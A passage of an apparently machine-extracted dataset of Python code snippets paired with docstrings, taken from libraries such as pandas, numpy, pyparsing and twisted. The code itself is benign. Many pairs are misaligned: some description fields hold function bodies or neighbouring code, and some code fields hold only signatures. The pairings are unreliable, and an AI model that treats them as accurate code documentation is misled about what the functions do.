None)\n self._params: Dict[str, str] = method.get(\"params\", {})\n self._return: Optional[str] = method.get(\"return\", None)\n\n @property", "nl": "Init the objectArgs:method (Dict): Method infos (author, details, params, return)"} {"code": "def current(cls):\n", "nl": "Returns current context or None.if cls._global_stack:return cls._global_stack[-1]else:return Nonedef __init__(self):self.summary_tensors = []def __enter__(self):assert not self._global_stack, 'no re-entry'self._global_stack.append(self)def __exit__(self, *args):self._global_stack.pop()class RewriteLoopContext:Context manager. Rewrites tf.while_loop to propagate summary tensors."} {"code": "def extraction_error(self):\n Can't extract file(s) to egg cache\n\n The following error occurred while trying to extract file(s)\n to the Python egg cache:\n\n {old_exc}\n\n The Python egg cache directory is currently set to:\n\n {cache_path}\n\n Perhaps your account does not have write access to this directory?\n You can change the cache directory by setting the PYTHON_EGG_CACHE\n environment variable to point to an accessible directory.\n \"\"\").lstrip()", "nl": "Give an error message for problems extracting file(s)old_exc = sys.exc_info()[1]cache_path = self.extraction_path or get_default_cache()tmpl = textwrap.dedent("} {"code": "def extract_refbasis_samples(train_samples, train_bases):\n torch_ver = int(torch.__version__[:3].replace(\".\", \"\"))\n dtype = torch.bool if torch_ver >= 12 else torch.uint8\n\n idx = (\n torch.tensor((train_bases == \"Z\").astype(np.uint8))\n .all(dim=1)\n .to(device=train_samples.device, dtype=dtype)\n )\n z_samples = train_samples[idx]\n return z_samples", "nl": "rExtract the reference basis samples from the data.:param train_samples: The training samples.:type train_samples: torch.Tensor:param train_bases: The bases of the training samples.:type train_bases: numpy.ndarray:returns: The samples in the data that are only in the reference basis.:rtype: torch.Tensor"} {"code": "def isNull(a):\n\n", "nl": "JS(return typeof a == 'object' && !a;)"} {"code": "def p_segment(p):\n p[0] = p[1]\n p[0].append(p[2])\n", "nl": "segment : '[' string_list ']' p[0] = p[2]def p_string_list(p):string_list : string_list STRING"} {"code": "def _from_dict_record(data):\n return [Schema._get_field_entry(name, value) for name, value in list(data.items())]\n\n @staticmethod", "nl": "Infer a BigQuery table schema from a dictionary. If the dictionary has entries thatare in turn OrderedDicts these will be turned into RECORD types. Ideally this willbe an OrderedDict but it is not required.Args:data: The dict to infer a schema from.Returns:A list of dictionaries containing field 'name' and 'type' entries, suitable for use in aBigQuery Tables resource schema."} {"code": "def start_framework_for_advertise(state_queue):\n try:\n framework = create_framework(\n [\n \"pelix.ipopo.core\",\n \"pelix.rsa.remoteserviceadmin\",\n \"pelix.http.basic\",\n \"pelix.rsa.providers.distribution.xmlrpc\",\n \"pelix.rsa.providers.discovery.discovery_etcd\",\n \"pelix.rsa.topologymanagers.basic\",\n \"samples.rsa.helloimpl_xmlrpc\",\n ],\n {\n \"ecf.xmlrpc.server.hostname\": \"localhost\",\n \"etcd.hostname\": TEST_ETCD_HOSTNAME,\n \"etcd.toppath\": TEST_ETCD_TOPPATH,\n },\n )\n framework.start()\n\n context = framework.get_bundle_context()\n with use_ipopo(context) as ipopo:\n ipopo.instantiate(\n \"pelix.http.service.basic.factory\",\n \"http-server\",\n {\"pelix.http.address\": \"localhost\", \"pelix.http.port\": 0},\n )\n\n bc = framework.get_bundle_context()\n rsa = bc.get_service(\n bc.get_service_reference(\"pelix.rsa.remoteserviceadmin\", None)\n )\n rsa.export_service(\n bc.get_service_reference(\"org.eclipse.ecf.examples.hello.IHello\"),\n {\n \"service.exported.interfaces\": \"*\",\n \"service.exported.configs\": \"ecf.xmlrpc.server\",\n },\n )\n state_queue.put(\"ready\")\n while True:\n if state_queue.empty():\n break\n while True:\n state = state_queue.get()\n if state is None:\n break\n framework.stop()\n except Exception as ex:\n state_queue.put(\"Error: {0}\".format(ex))\n\n\nclass EtcdDiscoveryListenerTest(unittest.TestCase):", "nl": "Starts a Pelix framework to advertise (via etcd) a helloimpl_xmlrpcremote service instance. The tests can/will then discover thisservice advertisement and test the EndpointEventListener notification:param state_queue: Queue to communicate status and terminate"} {"code": "def addChild(self, name, force=False):\n\n if type(name) != str:\n raise ValueError('Argument should be a string!')\n\n child = self.getChild(name)\n if child:\n if force:\n index = self.getIndex(child)\n if index != -1:\n child = self.__class__(name)\n self._children[index] = child\n child.setParent(self)\n\n self.__setChildDict(child)\n return child\n else:\n child = self.__class__(name)\n child.setParent(self)\n\n self._children.append(child)\n self.__setChildDict(child)\n\n return child\n", "nl": " Add a new child 'child' with the name 'name'.If the optional flag 'force' is set to True, thechild object is overwritten if it is already there.This function returns the child object, whethernew or existing "} {"code": "def _makeTags(tagStr, xml):\n Helper to construct opening and closing tag expressions for HTML, given a tag name. Matches\n tags in either upper or lower case, attributes with namespaces and with quoted or unquoted values.\n\n Example::\n text = '<td>More info at the <a href=\"http://pyparsing.wikispaces.com\">pyparsing</a> wiki page</td>'\n a,a_end = makeHTMLTags(\"A\")\n link_expr = a + SkipTo(a_end)(\"link_text\") + a_end\n\n for link in link_expr.searchString(text):\n print(link.link_text, '->', link.href)\n prints::\n pyparsing -> http://pyparsing.wikispaces.com\n \"\"\"", "nl": "Internal helper to construct opening and closing tag expressions, given a tag nameif isinstance(tagStr,basestring):resname = tagStrtagStr = Keyword(tagStr, caseless=not xml)else:resname = tagStr.nametagAttrName = Word(alphas,alphanums+\"_-:\")if (xml):tagAttrValue = dblQuotedString.copy().setParseAction( removeQuotes )openTag = Suppress(\"<\") + tagStr(\"tag\") + \\Dict(ZeroOrMore(Group( tagAttrName + Suppress(\"=\") + tagAttrValue ))) + \\Optional(\"/\",default=[False]).setResultsName(\"empty\").setParseAction(lambda s,l,t:t[0]=='/') + Suppress(\">\")else:printablesLessRAbrack = \"\".join(c for c in printables if c not in \">\")tagAttrValue = quotedString.copy().setParseAction( removeQuotes ) | Word(printablesLessRAbrack)openTag = Suppress(\"<\") + tagStr(\"tag\") + \\Dict(ZeroOrMore(Group( tagAttrName.setParseAction(downcaseTokens) + \\Optional( Suppress(\"=\") + tagAttrValue ) ))) + \\Optional(\"/\",default=[False]).setResultsName(\"empty\").setParseAction(lambda s,l,t:t[0]=='/') + Suppress(\">\")closeTag = Combine(_L(\"</\") + tagStr + \">\")openTag = openTag.setResultsName(\"start\"+\"\".join(resname.replace(\":\",\" \").title().split())).setName(\"<%s>\" % resname)closeTag = closeTag.setResultsName(\"end\"+\"\".join(resname.replace(\":\",\" \").title().split())).setName(\"</%s>\" % resname)openTag.tag = resnamecloseTag.tag = resnamereturn openTag, closeTagdef makeHTMLTags(tagStr):"} {"code": "def load_all_fcompiler_classes():\n from glob import glob\n global fcompiler_class, fcompiler_aliases\n if fcompiler_class is not None:\n return\n pys = os.path.join(os.path.dirname(__file__), '*.py')\n fcompiler_class = {}\n fcompiler_aliases = {}\n for fname in glob(pys):\n module_name, ext = os.path.splitext(os.path.basename(fname))\n module_name = 'numpy.distutils.fcompiler.' + module_name\n __import__ (module_name)\n module = sys.modules[module_name]\n if hasattr(module, 'compilers'):\n for cname in module.compilers:\n klass = getattr(module, cname)\n desc = (klass.compiler_type, klass, klass.description)\n fcompiler_class[klass.compiler_type] = desc\n for alias in klass.compiler_aliases:\n if alias in fcompiler_aliases:", "nl": "Cache all the FCompiler classes found in modules in thenumpy.distutils.fcompiler package."} {"code": "def get_host_name(self):\n return self._get_cache_data('../user-data')\n", "nl": "Hostname of the virtual machine.return self._get_cache_data('local-hostname')def get_user_data(self):User data for this virtual machine."} {"code": "def test_add_snat_rule(self):\n iptables.delete_snat_rule(\n firewall.SNATRule(proto='tcp',\n src_ip='1.1.1.1', src_port=123,\n new_ip='2.2.2.2', new_port=345),\n 'SOME_RULE'\n )\n\n treadmill.iptables.delete_raw_rule.assert_called_with(\n 'nat', 'SOME_RULE',\n ('-s 1.1.1.1 -d 0.0.0.0/0 -p tcp -m tcp --sport 123'\n ' -j SNAT --to-source 2.2.2.2:345')\n )\n\n @mock.patch('treadmill.iptables.add_dnat_rule', mock.Mock())\n @mock.patch('treadmill.iptables.delete_dnat_rule', mock.Mock())\n @mock.patch('treadmill.iptables._get_current_dnat_rules', mock.Mock())", "nl": "Test snat rule addition.iptables.add_snat_rule(firewall.SNATRule(proto='tcp',src_ip='1.1.1.1', src_port=123,new_ip='2.2.2.2', new_port=345),'SOME_RULE',safe=True)treadmill.iptables.add_raw_rule.assert_called_with('nat', 'SOME_RULE',('-s 1.1.1.1 -d 0.0.0.0/0 -p tcp -m tcp --sport 123'' -j SNAT --to-source 2.2.2.2:345'),True)@mock.patch('treadmill.iptables.delete_raw_rule', mock.Mock())def test_delete_snat_rule(self):Test snat rule deletion."} {"code": "def optget(opt):\n tmp = optget(key)\n if tmp == \"no\" and no_value:\n spice_opts.append(no_value)\n\n elif tmp == \"yes\" and yes_value:\n spice_opts.append(yes_value)\n", "nl": "a helper functionreturn spice_options.get(opt)def set_yes_no_value(key, yes_value=None, no_value=None):just a helper function"} {"code": "def is_private(self):\n return self in IPv6Network('fc00::/7')\n\n @property", "nl": "Test if this address is allocated for private networks.Returns:A boolean, True if the address is reserved per RFC 4193."} {"code": "def range(self, *args, warmup=0, **rec_dim):\n for _ in range(warmup):\n yield self.steps\n\n self._in_loop = True\n self._call(self.progress_available)\n\n if rec_dim:\n assert len(rec_dim) == 1, f\"Only one rec_dim allowed but got {rec_dim}\"\n assert not args, f\"No positional arguments are allowed when a rec_dim is specified. {rec_dim}\"\n rec_dim_name = next(iter(rec_dim.keys()))\n size = rec_dim[rec_dim_name]\n assert isinstance(size, int)\n self._rec = Record(rec_dim_name)\n self._rec.append(self.initial_field_values, warn_missing=False)\n args = [size]\n self.growing_dims = [rec_dim_name]\n\n if len(args) == 0:", "nl": "Similarly to `range()`, returns a generator that can be used in a `for` loop.```pythonfor step in ModuleViewer().range(100):print(f'Running step {step}')```However, `Viewer.range()` enables controlling the flow via the user interface.Each element returned by the generator waits for `progress` to be invoked once.Note that `step` is always equal to `Viewer.steps`.This method can be invoked multiple times.However, do not call this method while one `range` is still active.Args:*args: Either no arguments for infinite loop or single `int` argument `stop`.Must be empty if `rec_dim` is used.**rec_dim: Can be used instead of `*args` to record values along a new batch dimension of this name.The recorded values can be accessed as `Viewer.rec.<name>` or `Viewer.rec['<name>']`.warmup: Number of uncounted loop iterations to perform before `step()` is invoked for the first time.Yields:Step count of `Viewer`."} {"code": "def _nanmedian(a, axis=None, out=None, overwrite_input=False):\n if axis is None or a.ndim == 1:\n part = a.ravel()\n if out is None:\n return _nanmedian1d(part, overwrite_input)\n else:\n out[...] = _nanmedian1d(part, overwrite_input)\n return out\n else:\n if a.shape[axis] < 600:\n return _nanmedian_small(a, axis, out, overwrite_input)\n result = np.apply_along_axis(_nanmedian1d, axis, a, overwrite_input)\n if out is not None:\n out[...] = result\n return result\n\n", "nl": "Private function that doesn't support extended axis or keepdims.These methods are extended to this function using _ureduceSee nanmedian for parameter usage"} {"code": "def create(self):\n raise NotImplementedError(\n \"%r did not implement create\" % (self.__class__.__name__,))\n\n", "nl": "Create and return a new L{SSHCommandClientEndpoint} to be tested.Override this to implement creation in an interesting way the endpoint."} {"code": "def set_preset_mode(self, preset_mode: str) -> None:\n raise NotImplementedError\n", "nl": "Not implemented.raise NotImplementedErrordef turn_aux_heat_on(self) -> None:Not implemented."} {"code": "def test_default_embedder(self, resource_loader):\n config = {\n \"model_type\": \"text\",\n \"example_type\": QUERY_EXAMPLE_TYPE,\n \"label_type\": CLASS_LABEL_TYPE,\n \"model_settings\": {\"classifier_type\": \"embedder\"},", "nl": "Tests that a fit succeedsconfig = {\"model_type\": \"text\",\"example_type\": QUERY_EXAMPLE_TYPE,\"label_type\": CLASS_LABEL_TYPE,\"model_settings\": {\"classifier_type\": \"embedder\"},\"params\": {\"emb_dim\": 5}, # default embedder_output_pooling_type is \"mean\"}examples = self.labeled_data.queries()labels = self.labeled_data.intents()model = ModelFactory.create_model_from_config(ModelConfig(**config))model.initialize_resources(resource_loader, examples, labels)model.fit(examples, labels)assert model.predict([markup.load_query(\"hi\").query])[0] in [\"greet\", \"exit\"]config = {**config, \"params\": {**config[\"params\"], \"embedder_output_pooling_type\": \"first\"}}model = ModelFactory.create_model_from_config(ModelConfig(**config))model.initialize_resources(resource_loader, examples, labels)model.fit(examples, labels)assert model.predict([markup.load_query(\"hi\").query])[0] in [\"greet\", \"exit\"]config = {**config, \"params\": {**config[\"params\"], \"embedder_output_pooling_type\": \"last\"}}model = ModelFactory.create_model_from_config(ModelConfig(**config))model.initialize_resources(resource_loader, examples, labels)model.fit(examples, labels)assert model.predict([markup.load_query(\"hi\").query])[0] in [\"greet\", \"exit\"]def test_glove_embedder(self, resource_loader):Tests that a fit succeeds"} {"code": "def get_name(self):\n Directories\n\n \"\"\"", "nl": "Get the item namereturn self.namedef get_description(self):return self.descriptiondef get_longname(self):return self.name + \" \" + self.descriptiondef history():doc = \"Session item history params\"def fget(self):return self._historydef fset(self, value):self._history = SessionInfo(HISTORY_STR, value, self)return locals()history = property(**history())def contract():doc = \"Session item contract params\"def fget(self):return self._contractdef fset(self, value):self._contract = SessionInfo(CONTRACT_STR, value, self)return locals()contract = property(**contract())def get_info(self):return (util.Param(HISTORY_STR, self.history),util.Param(CONTRACT_STR, self.contract))"} {"code": "def __init__(self, master=None, cnf={}, **kw):\n Widget.__init__(self, master, 'scrollbar', cnf, kw)", "nl": "Construct a scrollbar widget with the parent MASTER.Valid resource names: activebackground, activerelief,background, bd, bg, borderwidth, command, cursor,elementborderwidth, highlightbackground,highlightcolor, highlightthickness, jump, orient,relief, repeatdelay, repeatinterval, takefocus,troughcolor, width."} {"code": "def _stash_unstaged():\n if _current_commit() != 'HEAD':\n print('WARNING: unable to stash changes with no initial commit')\n yield\n return\n\n original_stash = _current_stash()\n subprocess.check_call('git stash save -q --keep-index '\n 'git-pylint-commit-hook'.split())\n stashed = original_stash != _current_stash()\n if stashed:\n print('Unstaged changes were detected and stashed')\n\n try:\n yield\n finally:\n if stashed:\n print('Restoring stashed changes')\n subprocess.check_call('git reset --hard -q'.split())\n subprocess.check_call('git stash pop --index -q'.split())\n\n\n@contextlib.contextmanager", "nl": "Stashes any changes on entry and restores them on exit.If there is no initial commit, print a warning and do nothing."} {"code": "def config_option_list(context: Context, data_dict: DataDict) -> AuthResult:\n return {'success': False}\n\n", "nl": "List runtime-editable configuration options. Only sysadmins.return {'success': False}def job_list(context: Context, data_dict: DataDict) -> AuthResult:List background jobs. Only sysadmins."} {"code": "def write(self, data, dst, mode, permissions):\n dst = self._resolve_dst_dir(dst)\n shutil.copytree(src, self.absolute(dst))\n", "nl": "Write data into dst.dst = self._normalize(dst)self._ensure_parent(dst)self._ensure_not_dst(dst)with open(self.absolute(dst), mode) as f:f.write(data)os.chmod(self.absolute(dst), permissions)@contextlib.contextmanagerdef postprocess(self, src):fpath = self.absolute(src)st = os.stat(fpath)old_times = (st.st_atime, st.st_mtime)with tempfile.NamedTemporaryFile(prefix=fpath + \".\", mode=\"w\", delete=False) as outf:with open(fpath) as inf:yield inf, outfoutf.flush()os.utime(outf.name, old_times)shutil.copystat(fpath, outf.name)os.rename(outf.name, fpath)def _resolve_dst_dir(self, dst):if dst is None:# Replace the current staging directoryif os.listdir(self._staging) != []:raise self.Error(\"Staging directory is not empty!\")# shutil requires that the destination directory does not existsafe_rmtree(self._staging)dst = \".\"dst = self._normalize(dst)self._ensure_not_dst(dst)return dstdef copytree(self, src, dst=None):Copy src dir into dst under the staging directory."} {"code": "def no_groups(parser, argument_signatures):\n group = parser.add_argument_group('foo')\n for sig in argument_signatures:\n group.add_argument(*sig.args, **sig.kwargs)\n", "nl": "Add all arguments directly to the parserfor sig in argument_signatures:parser.add_argument(*sig.args, **sig.kwargs)def one_group(parser, argument_signatures):Add all arguments under a single group in the parser"} {"code": "def _filter_names(names, override_question=None):\n sorted_names = _sort_names(names)\n if override_question:\n question = override_question\n else:\n question = \"Which names would you like to activate HTTPS for?\"\n code, names = z_util(interfaces.IDisplay).checklist(\n question, tags=sorted_names, cli_flag=\"--domains\", force_interactive=True)\n return code, [str(s) for s in names]\n\n", "nl": "Determine which names the user would like to select from a list.:param list names: domain names:returns: tuple of the form (`code`, `names`) where`code` - str display exit code`names` - list of names selected:rtype: tuple"} {"code": "def set_time(self, nanoseconds=None):\n cmd = \"guest-set-time\"\n args = None\n self.check_has_command(cmd)\n if nanoseconds:\n args = {\"time\": nanoseconds}\n return self.cmd(cmd=cmd, args=args)\n\n @error_context.context_aware", "nl": "set the time of guest, the params passed in is in nanoseconds"} {"code": "def inspect_source_ranges(self, item):\n errors = []\n\n source_ranges = item.config.get('SourceRanges', None)\n if source_ranges:\n err = self._source_ranges_open(source_ranges)\n errors.extend(err) if err else None\n\n if errors:\n return (False, errors)\n return (True, None)\n", "nl": "Driver for Source Ranges. Calls helpers as needed.return: (bool, [list of AuditIssues])"} {"code": "def get_engine(engine: str) -> \"BaseImpl\":\n Write a DataFrame to the parquet format.\n\n Parameters\n ----------\n df : DataFrame\n path : str\n File path or Root Directory path. Will be used as Root Directory path\n while writing a partitioned dataset.\n\n .. versionchanged:: 0.24.0\n", "nl": " return our implementation if engine == \"auto\":engine = get_option(\"io.parquet.engine\")if engine == \"auto\":# try engines in this ordertry:return PyArrowImpl()except ImportError:passtry:return FastParquetImpl()except ImportError:passraise ImportError(\"Unable to find a usable engine; \"\"tried using: 'pyarrow', 'fastparquet'.\\n\"\"pyarrow or fastparquet is required for parquet \"\"support\")if engine == \"pyarrow\":return PyArrowImpl()elif engine == \"fastparquet\":return FastParquetImpl()raise ValueError(\"engine must be one of 'pyarrow', 'fastparquet'\")class BaseImpl:@staticmethoddef validate_dataframe(df: DataFrame):if not isinstance(df, DataFrame):raise ValueError(\"to_parquet only supports IO with DataFrames\")# must have value column names (strings only)if df.columns.inferred_type not in {\"string\", \"unicode\", \"empty\"}:raise ValueError(\"parquet must have string column names\")# index level names must be stringsvalid_names = all(isinstance(name, str) for name in df.index.names if name is not None)if not valid_names:raise ValueError(\"Index level names must be strings\")def write(self, df: DataFrame, path, compression, **kwargs):raise AbstractMethodError(self)def read(self, path, columns=None, **kwargs):raise AbstractMethodError(self)class PyArrowImpl(BaseImpl):def __init__(self):import_optional_dependency(\"pyarrow\", extra=\"pyarrow is required for parquet support.\")import pyarrow.parquet# import utils to register the pyarrow extension typesimport pandas.core.arrays._arrow_utils # noqaself.api = pyarrowdef write(self,df: DataFrame,path,compression=\"snappy\",coerce_timestamps=\"ms\",index: Optional[bool] = None,partition_cols=None,**kwargs,):self.validate_dataframe(df)path, _, _, _ = get_filepath_or_buffer(path, mode=\"wb\")from_pandas_kwargs: Dict[str, Any] = {\"schema\": kwargs.pop(\"schema\", None)}if index is not None:from_pandas_kwargs[\"preserve_index\"] = indextable = self.api.Table.from_pandas(df, **from_pandas_kwargs)if partition_cols is not None:self.api.parquet.write_to_dataset(table,path,compression=compression,coerce_timestamps=coerce_timestamps,partition_cols=partition_cols,**kwargs,)else:self.api.parquet.write_table(table,path,compression=compression,coerce_timestamps=coerce_timestamps,**kwargs,)def read(self, path, columns=None, **kwargs):path, _, _, should_close = get_filepath_or_buffer(path)kwargs[\"use_pandas_metadata\"] = Trueresult = self.api.parquet.read_table(path, columns=columns, **kwargs).to_pandas()if should_close:path.close()return resultclass FastParquetImpl(BaseImpl):def __init__(self):# since pandas is a dependency of fastparquet# we need to import on first usefastparquet = import_optional_dependency(\"fastparquet\", extra=\"fastparquet is required for parquet support.\")self.api = fastparquetdef write(self,df: DataFrame,path,compression=\"snappy\",index=None,partition_cols=None,**kwargs,):self.validate_dataframe(df)# thriftpy/protocol/compact.py:339:# DeprecationWarning: tostring() is deprecated.# Use tobytes() instead.if \"partition_on\" in kwargs and partition_cols is not None:raise ValueError(\"Cannot use both partition_on and \"\"partition_cols. Use partition_cols for \"\"partitioning data\")elif \"partition_on\" in kwargs:partition_cols = kwargs.pop(\"partition_on\")if partition_cols is not None:kwargs[\"file_scheme\"] = \"hive\"if is_s3_url(path) or is_gcs_url(path):# if path is s3:// or gs:// we need to open the file in 'wb' mode.# TODO: Support 'ab'path, _, _, _ = get_filepath_or_buffer(path, mode=\"wb\")# And pass the opened file to the fastparquet internal impl.kwargs[\"open_with\"] = lambda path, _: pathelse:path, _, _, _ = get_filepath_or_buffer(path)with catch_warnings(record=True):self.api.write(path,df,compression=compression,write_index=index,partition_on=partition_cols,**kwargs,)def read(self, path, columns=None, **kwargs):if is_s3_url(path):from pandas.io.s3 import get_file_and_filesystem# When path is s3:// an S3File is returned.# We need to retain the original path(str) while also# pass the S3File().open function to fsatparquet impl.s3, filesystem = get_file_and_filesystem(path)try:parquet_file = self.api.ParquetFile(path, open_with=filesystem.open)finally:s3.close()else:path, _, _, _ = get_filepath_or_buffer(path)parquet_file = self.api.ParquetFile(path)return parquet_file.to_pandas(columns=columns, **kwargs)def to_parquet(df: DataFrame,path,engine: str = \"auto\",compression=\"snappy\",index: Optional[bool] = None,partition_cols=None,**kwargs,):"} {"code": "def NormalizeErrorMarker(output):\n\n return re.sub(r'@\\w+', '@0x\n\n", "nl": "Normalizes the error marker, which is different on Windows vs on Linux.return re.sub(r' error: ', ' Failure\\n', output)def RemoveMemoryAddresses(output):Removes memory addresses from the test output."} {"code": "def _check_url(cls, url):\n\n if os.path.isdir(url) or url.startswith('file:'):\n return True\n\n if('+' in url[:url.find('://')]):\n url = url[url.find('+') + 1:]\n\n handlers = []\n test_uri, authinfo = hg_url(url).authinfo()\n if not test_uri.endswith('info/refs'):\n test_uri = test_uri.rstrip('/') + '/info/refs'\n if authinfo:\n passmgr = urllib2.HTTPPasswordMgrWithDefaultRealm()\n passmgr.add_password(*authinfo)\n\n handlers.extend((httpbasicauthhandler(passmgr),\n httpdigestauthhandler(passmgr)))\n\n o = urllib2.build_opener(*handlers)\n o.addheaders = [('User-Agent', 'git/1.7.8.0')]\n\n q = {\"service\": 'git-upload-pack'}\n qs = '?%s' % urllib.urlencode(q)\n cu = \"%s%s\" % (test_uri, qs)\n req = urllib2.Request(cu, None, {})\n\n try:\n resp = o.open(req)\n return resp.code == 200\n except Exception, e:\n raise urllib2.URLError(\"[%s] %s\" % (url, e))\n", "nl": "Functon will check given url and try to verify if it's a validlink. Sometimes it may happened that mercurial will issue basicauth request that can cause whole API to hang when used from pythonor other external calls.On failures it'll raise urllib2.HTTPError"} {"code": "def test_convergent_cross_mapping():\n filepath = '../data/two_species_coupled_time_series.dat'\n edgelist = {(1, 0), (0, 1)}\n keys = ['graph', 'weights_matrix', 'pvalues_matrix']\n\n TS = np.loadtxt(filepath, delimiter=',')\n recon = ConvergentCrossMapping()\n G = recon.fit(TS, threshold_type='range', cutoffs=[(-np.inf, np.inf)])\n el = set(G.edges())\n res = recon.results.keys()\n\n assert el == edgelist\n assert all(k in res for k in keys)\n\n", "nl": "Examine the outcome of ConvergentCrossMapping with synthetictime series data generated from a two-species Lotka-Vottera model."} {"code": "def ray_cast_stroke(context, ob, stroke):\n rgn = context.region\n rv3d = context.space_data.region_3d\n mx = ob.matrix_world\n imx = mx.inverted()\n\n r2d_origin = region_2d_to_origin_3d\n r2d_vector = region_2d_to_vector_3d\n\n rays = [(r2d_origin(rgn, rv3d, co),r2d_vector(rgn, rv3d, co).normalized()) for co,_ in stroke]\n\n back = 0 if rv3d.is_perspective else 1\n mult = 100\n bver = '%03d.%03d.%03d' % (bpy.app.version[0],bpy.app.version[1],bpy.app.version[2])\n if (bver < '002.072.000') and not rv3d.is_perspective: mult *= -1\n\n sten = [(imx*(o-d*back*mult), imx*(o+d*mult)) for o,d in rays]\n\n if bver < '002.077.00':\n hits = [ob.ray_cast(st,st+(en-st)*1000) for st,en in sten]\n else:\n hits = [ob.ray_cast(st,(en-st)) for st,en in sten]\n\n\n world_stroke = [(mx*hit[0],stroke[i][1]) for i,hit in enumerate(hits) if hit[2] != -1]\n\n return world_stroke\n", "nl": "strokes have form [((x,y),p)] with a pressure or radius valuereturns list [Vector(x,y,z), p] leaving the pressure/radius value untoucheddoes drop any values that do not successfully ray_cast"} {"code": "def get_install_status(self, name):\n params = [{\"url\": \"{}device\".format(self.dvmdb_url), \"filter\": [\"name\", \"==\", name],\n \"fields\": [\"name\", \"conf_status\", \"conn_status\"]}]\n body = {\"method\": \"get\", \"params\": params, \"verbose\": 1, \"session\": self.session}\n response = self.make_request(body).json()\n\n return response\n", "nl": "This method is used to get the config and connection status of the specified FortiGate.:param name: Type str.The name of the FortiGate from which to retrieve the current status.:return: The json response data from the request to retrieve device status."} {"code": "def _convert_listlike_indexer(self, keyarr, kind=None):\n indexer, keyarr = super()._convert_listlike_indexer(keyarr, kind=kind)\n\n if indexer is None and len(keyarr) and not isinstance(keyarr[0], tuple):\n level = 0\n _, indexer = self.reindex(keyarr, level=level)\n\n if indexer is None:\n indexer = np.arange(len(self))\n\n check = self.levels[0].get_indexer(keyarr)\n mask = check == -1\n if mask.any():\n raise KeyError(f\"{keyarr[mask]} not in index\")\n\n return indexer, keyarr\n\n @Appender(_index_shared_docs[\"get_indexer\"] % _index_doc_kwargs)", "nl": "Parameters----------keyarr : list-likeIndexer to convert.Returns-------tuple (indexer, keyarr)indexer is an ndarray or None if cannot convertkeyarr are tuple-safe keys"} {"code": "def _compute_softmax(scores):", "nl": "Compute softmax probability over raw logits.if not scores:return []max_score = Nonefor score in scores:if max_score is None or score > max_score:max_score = scoreexp_scores = []total_sum = 0.0for score in scores:x = math.exp(score - max_score)exp_scores.append(x)total_sum += xprobs = []for score in exp_scores:probs.append(score / total_sum)return probsdef normalize_answer(s):Lower text and remove punctuation, articles and extra whitespace."} {"code": "def get_q_values(self, model_out, actions=None):\n if actions is not None:\n return self.q_net(torch.cat([model_out, actions], -1))\n else:\n return self.q_net(model_out)\n", "nl": "Return the Q estimates for the most recent forward pass.This implements Q(s, a).Arguments:model_out (Tensor): obs embeddings from the model layers, of shape[BATCH_SIZE, num_outputs].actions (Optional[Tensor]): Actions to return the Q-values for.Shape: [BATCH_SIZE, action_dim]. If None (discrete actioncase), return Q-values for all actions.Returns:tensor of shape [BATCH_SIZE]."} {"code": "def set_elements(self, entries):\n\n self.clear_element_list()\n for entry in entries:\n for elem in entry.get_element_ids():\n if elem not in self.element_list:\n self.add_element(id=elem)\n", "nl": "Function to set the elements when computing PRDF.Parameters----------data : array-likeA list of CompositionEntry's containing each element to be added."} {"code": "def rk_(self):\n return self.meta_.pk_dict(self, ddb_dump=True)\n", "nl": " The value of the range key return self.meta_.rk(self)@propertydef pk_dict_(self): The primary key dict, encoded for dynamo "} {"code": "def strategy(self):\n self._whitelist_chars |= BYTES_LOOKUP[category]\n\n\n@st.composite", "nl": "Returns resulting strategy that generates configured char set.allowed = self._whitelist_charsif self._negate:allowed = BYTES_ALL - allowedreturn st.sampled_from(sorted(allowed))def add_category(self, category):Update characters state to match sre_parse object ``category``."} {"code": "def _python_cmd(*args):\n args = (sys.executable,) + args\n return subprocess.call(args) == 0\n\n", "nl": "Return True if the command succeeded."} {"code": "def validate_string_or_none(option: str, value: Any) -> Optional[str]:\n if isinstance(value, int):\n return value\n elif isinstance(value, str):\n try:\n return int(value)\n except ValueError:\n return value\n raise TypeError(\"Wrong type for %s, value must be an integer or a string\" % (option,))\n\n", "nl": "Validates that 'value' is an instance of `basestring` or `None`.if value is None:return valuereturn validate_string(option, value)def validate_int_or_basestring(option: str, value: Any) -> Union[int, str]:Validates that 'value' is an integer or string."} {"code": "def user_cache_dir(self) -> str:\n return self.user_data_dir\n\n @property", "nl": ":return: cache directory tied to the user, e.g. e.g. ``/data/user/<userid>/<packagename>/cache/<AppName>``return self._append_app_name_and_version(_android_folder(), \"cache\")@propertydef user_state_dir(self) -> str::return: state directory tied to the user, same as `user_data_dir`"} {"code": "def check_alpha_beta_range(alpha, beta):\n\n alpha_min, alpha_max = (-np.pi/2, np.pi/2)\n beta_min, beta_max = (-np.pi, np.pi)\n\n if not (alpha_min <= alpha <= alpha_max):\n raise ValueError('Alpha value is not inside correct range')\n elif not (beta_min <= beta <= beta_max):\n raise ValueError('Beta value is not inside correct range')\n\n", "nl": "Check alpha, beta values are inside the defined range. Thiscomprobation can also detect if the value of the angle is in degrees insome cases."} {"code": "def open_vault(self, filename, password):\n self.vault_file_name = None\n self.vault_password = None\n self._is_modified = False\n self.vault = Vault(password, filename=filename)\n self.list.set_vault(self.vault)\n self.vault_file_name = filename\n self.vault_password = password\n self.statusbar.SetStatusText(_(\"Read Vault contents from disk\"), 0)\n", "nl": "Set the Vault that this frame should display."} {"code": "def _next_opening_time(self, other):\n if not self.next_bday.onOffset(other):\n other = other + self.next_bday\n else:\n if self.n >= 0 and self.start < other.time():\n other = other + self.next_bday\n elif self.n < 0 and other.time() < self.start:\n other = other + self.next_bday\n return datetime(other.year, other.month, other.day,\n self.start.hour, self.start.minute)\n", "nl": "If n is positive, return tomorrow's business day opening time.Otherwise yesterday's business day's opening time.Opening time always locates on BusinessDay.Otherwise, closing time may not if business hour extends over midnight."} {"code": "def get_export_symbols (self, ext):\n initfunc_name = \"init\" + ext.name.split('.')[-1]\n if initfunc_name not in ext.export_symbols:\n ext.export_symbols.append(initfunc_name)\n return ext.export_symbols\n", "nl": "Return the list of symbols that a shared extension has toexport. This either uses 'ext.export_symbols' or, if it's notprovided, \"init\" + module_name. Only relevant on Windows, wherethe .pyd file (DLL) must export the module \"init\" function."} {"code": "def validate_value(self, config, header, directive=None):\n delimiter = base.get_delimiter(config, _DELIMITER_TYPE)\n accepted = base.get_expected_values(config, 'value-any-of', delimiter)\n\n header_value = self.headers[header]\n strip_chars = base.get_delimiter(config, 'strip') if header.lower() in _STRIP_HEADERS else None\n header_items = utils.parse_policy(header_value, item_delimiter=delimiter, strip=strip_chars)\n\n anomalies = []\n accepted_lower = [item.lower() for item in accepted]\n for item in header_items:\n if item not in accepted_lower:\n anomalies.append(item)\n\n if anomalies:\n 